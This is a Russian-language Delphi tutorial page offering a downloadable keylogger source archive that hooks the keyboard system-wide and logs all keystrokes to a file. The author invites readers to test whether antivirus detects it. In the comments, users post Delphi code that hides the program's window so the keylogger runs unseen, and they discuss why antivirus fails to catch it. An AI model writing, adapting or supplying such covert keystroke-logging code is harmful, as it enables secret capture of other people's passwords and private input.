Исходник - клавиатурный шпион

Опубиковано: 29.07.2009 г., автор: , просмотров: 40974

Delphi исходники - Клавиатурный шпион.

Простейшая реализация клавиатурного шпиона, программа устанавливает ловушку (hook) в системе, после чего начинает записывать все нажатия клавиш в файл. Так теперь о том, что содержится в архиве с исходником. Файл hook.dpr это исходник библиотеки необходимой для запуски клавиатурного шпиона, там же в коде можно поменять место сохранения и названия лог файла (по умолчанию это D:\log.txt). Далее, hookprog.dpr файл проекта самого клавиатурный шпиона.
Для успешного запуска в первый раз нужно, сначала открыть hook.dpr, нажать ctrl+f9 т.е. компилировать библиотеку, а затем уже открыть hookprog.dpr

delphi клавиатурный шпион

Скачать исходник

Ну что ж а сейчас советую скачать антивирусный сканер и посмотреть сможет ли он обнаружить наш первый клавиатурный шпион ;)

P.S. Хотите вперед всех остальных посетителей сайта получать свежие Видео уроки, Аудио подкасты, статьи по Delphi.
Участвовать в конкурсах и постепенно вливаться в нашу команду ?!
Тогда прямо сейчас подписывайтесь на бесплатную мультимедийную рассылку сайта delphiexpert.ru
Нас уже больше чем 2000 человек ! Подписаться

Последние из рубрики

Va-Bank 14 Apr 2011 в 00:00 #

Кейлоггер должна по идее ловить проактивная защита, а не антивирус.

TimKruz 20 Mar 2011 в 00:00 #

>>Блин, ну и дерьмовый у меня антивирус! Даже кейлоггер поймать не может!

Нормальный у вас антивирус. Он был бы дерьмовым, если бы как раз ловил "кейлоггер", потому что, например, Punto Switcher и некоторые программы-переводчики используют точно такую же технологию, но при этом не являются шпионами.

P.S. Спасибо за исходник.

ромло 05 Jan 2011 в 00:00 #

Блин, ну и дерьмовый у меня антивирус! Даже кейлоггер поймать не может!

Арсений 08 Nov 2010 в 00:00 #

Чтобы шпион был скрытый и работал, код должен быть такой:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

procedure setHook(Hook: boolean) stdcall; external ′hook.dll′ name ′SetHook′;

implementation

{$R *.DFM}

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
setHook(false);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=false;
setHook(true);
end;
end.

П@тефон 28 Aug 2010 в 00:00 #

А чтоб форму скрыть, нед в проекте прописать:program Project1;uses Forms, Windows, Unit1 in Unit1.pas′ {Forml}; {$R *.RES} var WhEvent:THandle; begin Application.Initialize; ShowWindow(Application.Handle,SW_HIDE); Form1:=TForm1.Create(nil); Application.Run; WhEvent:=CreateEvent(nil, true, false, ′et′); while (true ) do begin
WaitForSingleObject(WhEvent, 1000); Application.ProcessMessages; end; end.
или чёт тип того...

Исходник - клавиатурный шпион

Delphi исходники - Клавиатурный шпион.

Похожие материалы

Последние из рубрики

ОтменитьДобавить комментарий